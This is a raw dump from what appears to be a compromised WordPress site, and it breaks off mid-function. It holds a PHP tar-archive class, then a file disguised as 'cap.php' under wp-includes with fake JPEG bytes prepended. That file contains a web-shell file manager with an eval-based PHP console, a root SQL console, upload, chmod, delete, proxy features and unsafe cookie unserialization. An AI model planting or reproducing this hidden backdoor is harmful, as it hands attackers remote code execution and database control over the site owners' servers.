		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
